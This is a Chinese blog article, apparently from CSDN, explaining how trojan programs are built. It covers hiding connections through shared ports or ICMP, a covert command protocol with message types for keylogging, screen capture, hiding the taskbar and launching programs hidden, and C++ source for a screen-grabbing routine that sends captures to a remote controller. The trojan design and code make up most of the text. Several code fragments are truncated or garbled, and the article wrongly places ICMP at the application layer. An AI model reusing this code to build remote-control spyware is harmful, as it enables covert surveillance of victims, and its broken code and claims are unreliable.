透视木马程序开发技术:病毒源代码详解(中)

 4、木马程序的建立连接的隐藏

  木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。

  C:/Documents and Settings/bigball>netstat -n

  Active Connections

  Proto Local Address Foreign Address State

......
    但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:

  

  网络层次结构图

  5、发送数据的组织方法

  关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

  typedef struct{ //定义消息结构  //char ip[20];

  char Type; //消息种类

        char Password[20]; //密码

  int CNum; //消息操作号

  //int Length; //消息长度

  }Msg;

  #define MsgLen sizeof(Msg)

  //-------------------------------------------

  //对话框数据包定义:Dlg_Msg_Type.h

  //-------------------------------------------

  //定义如下消息类型:

  #define MsgDlgCommon 4//连接事件

  #define MsgDlgSend 5//发送完成事件

  //消息结构

  typedef struct{

  char Name[20];//对话框标题

  char Msg[256];//对话框消息内容

  }MsgDlgUint;

  #define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度

  //------------------------------------------

  //聊天数据包定义:Chat_Msg_Type.h

  //------------------------------------------

  //定义如下消息类型:

  #define MsgChatCommon 0//连接事件

  #define MsgChatConnect 1//接入事件

  #define MsgChatEscept 2//结束事件

  #define MsgChatReceived 16//确认对话内容收到

  //消息结构

  typedef struct{

  char ClientName[20];//Client自定义的名称

  char Msg[256];//发送的消息

  }MsgChatUint;

  #define MsgChatLen sizeof(MsgChatUint)//消息单元长度

  //------------------------------------------

  //重启数据包定义:Reboot_Msg_Type.h

  //------------------------------------------

  //定义如下消息类型:

  #define MsgReBoot 15//重启事件

  //------------------------------------------

  //目录结构请求数据包定义:Dir_Msg_Type.h

  //------------------------------------------

  //定义如下消息类型:

  #define MsgGetDirInfo 17

  #define MsgReceiveGetDirInfo 18

  typedef struct{

  char Dir[4096];//你要的目录名

  }MsgDirUint;

  #define MsgDirUintLen sizeof(MsgDirUint)

  // TCP的Msg

  typedef struct{ //定义消息结构

  char SType; //消息种类

  char SPassword[20]; //密码

  //int SNum; //消息操作号

  char *AllMsg;

  }SMsg;

  #define SMsgLen sizeof(SMsg)  #define MSGListProgram 19

       #define MSGFlyMouse 21

  #define MSGGoWithMouse 22

  #define MSGSaveKey 23

  #define MSGTracekey 24

  #define MsgCopyScreen 25//tcp接收消息,udp请求消息

  #define MSGCopyWindow 26

  //-------------------------

  //鼠标指针隐藏和显示控制

  //-------------------------

  #define MsgSetMouseStat 27//设置消息

  #define MsgMouseStat 28//成功消息

  typedef struct{

  bool mouseshow;

  }MsgSetMouseStatUint;

  #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)

  上一页 1 2 3 4 5 6 7 下一页

  //-------------------------

  //任务栏隐藏和显示控制

  //-------------------------

  #define MsgSetTaskBarStat 29//设置消息

  #define MsgTaskBarStat 30//成功消息

  typedef struct{

  bool taskshow;

  }MsgSetTaskBarStatUint;

  #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

  //-------------------------

  //得到机器名

  //-------------------------

  #define MsgGetNetBiosName 31//取请求

  #define MsgNetBiosName 32//回送机器名

  typedef struct{

  char NetBiosName[128];

  }MsgNetBiosNameUint;

  #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

  //-------------------------

  //关闭进程变更!

  //-------------------------

  #define MsgSetProgramClose 33//关闭请求

  #define MsgProgramClosed 34//成功消息-----

  typedef struct{

  char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字

  }MsgSetProgramCloseUint;

  #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

  //-------------------------

  //打开进程变更!

  //-------------------------

  #define MsgSetProgramOpen 20//打开请求

  #define MsgProgramOpened 36//成功消息

  typedef struct{

  char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字

  bool ProgramShow;//前台运行或后台运行程序(隐藏运行)  }MsgSetProgramOpenUint;

       #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

  #define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

  上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

  数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:

  Msg *msg=new Msg;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  RData->Read(msg,sizeof(Msg));

  UdpConnect *udpconnect=new UdpConnect;

  NetBiosName *netbiosname=new NetBiosName;

  if(msg->CNum==CNumBak)

  return;

  else{

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0://MsgUdpConnect

  RData->Read(udpconnect,sizeof(UdpConnect));

  checkuser(udpconnect->IsRight);

  break;

  case 1:

  RData->Read(netbiosname,sizeof(NetBiosName));

  AnsiString jqm="机器名 ";

  jqm+=(AnsiString)netbiosname->NetBiosName;

  Memo2->Lines->Add(jqm);

  break;

  }

  }

  当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:

  NMUDP1->RemoteHost=FromIP;

  NMUDP1->RemotePort=Port;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  Msg *msg=new Msg;

  RData->Read(msg,sizeof(Msg));

  if(msg->CNum==CNumBak)

  return;

  else

  {

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0:

  checkuser(msg->Password);

  break;

  case 1:

  GetNetBiosName();

  break;

  case 2:

  CheckHard();

  break;

  }

  }

  此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:  #define MAXXCount 10 //屏幕X方向最多分割块数

#define MAXYCount 5 //... Y................

  #define DestNum 1000 //每块的偏移检测点最大个数

  COLORREF Colors[MAXXCount][MAXYCount][DestNum];

  COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];

  TPoint Dests[DestNum];

  int Sw;

  int Sh;

  int xCount;

  int yCount;

  int ItemWidth;

  int ItemHeight;

  int Dnum;

  int Qlity;

  //得到消息后执行:

  //另外:接收到的数据包中分析出 Dnum ,Qlity

  //Dnum:偏移观测点数量

  //Qlity:图象要求质量

  __fastcall TForm1::CopyScreen(int DNum,int Qlity){

  ItemWidth=Sw/xCount;

  ItemHeight=Sh/yCount;

  Sw=Screen->Width;

  Sh=Screen->Height;

  xCount=(Sw>1000)?8:6;

  yCount=(Sh>1000)?3:2;

  for (int num1=0;num1 Dests[num1].x=random(ItemWidth);

  Dests[num1].y=random(ItemHeight);

  }

  CatchScreen(DNum,Qlity);

  }

  //收到刷屏消息后只执行:

  CatchScreen(DNum,Qlity);

  __fastcall TForm1::CatchScreen(int DNum,int Qlity){

  //函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据

  //DNum: 偏移量 Qlity:图象质量

  HDC dc=GetDC(GetDesktopWindow());

  Graphics::TBitmap *bm=new Graphics::TBitmap;

  bm->Width=Sw;

  bm->Height=Sh;

  BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);

  int num1,num2,num3;

  int nowx,nowy;

  bool Change;

  bool ItemChange[MAXXCount][MAXYCount];

  for (num1=0;num1 nowx=ItemWidth*num1;

  for (num2=0;num2 nowy=ItemHeight*num2;

  Change=false;

  for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];

  if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){

  BakColors[num1][num2][num3]=Colors[num1][num2][num3];

  ItemChange[num1][num2]=true;

  }

  }

  }

  }

  int CNum,MaxCNum;

  int ChangedNum=0;

  TRect *Rect;  int num4;

  int MinSize=10000;

  int m;

TRect MinRect;

  Graphics::TBitmap *bt2=new Graphics::TBitmap;

  TJPEGImage *j=new TJPEGImage;

  //************************

  j->Quality=Qlity;

  //************************

  CopyScreenUint CopyScreen;

  CopyScreenItemUint CopyScreenItem;

  TMemoryStream *ms=new TMemoryStream;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

  ms->Write(&CopyScreen,sizeof(CopyScreenUint));

  do{

  for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){

  MaxCNum=0;

  for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形

  CNum=GetChangedNum(TRect(num1,num2,num3,num4));

  if (CNum>MaxCNum) MaxCNum=CNum;

  m=(num3-num1)*(num4-num2);

  if (2*m-CNum MinSize=2*m-CNum;

  MinRect=TRect(num1,num2,num3,num4);

  }

  }

  }

  TMemoryStream *ms;

  BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);

  j->Assign(bt2);

  j->SaveToStream(ms2);

  CopyScreenItem.Rect=TRect(num1,num2,num3,num4);

  CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1

  ms2->Position=0;

  CopyScreenItem.Length=ms2->Size;

  ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));

  ms->CopyFrom(ms2,ms2->Size);

  ChangedNum++;

  }while(MaxCNum>0);

  TcpMsg.Type=MsgCopyScreen;

  ms->Position=0;

  TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);

  CopyScreen.Count=ChangedNum;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

  ms->Write(&CopyScreen,sizeof(CopyScreenUInt));

  ms->Position=0;

  sock->SendStream(ms);

  }

  这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值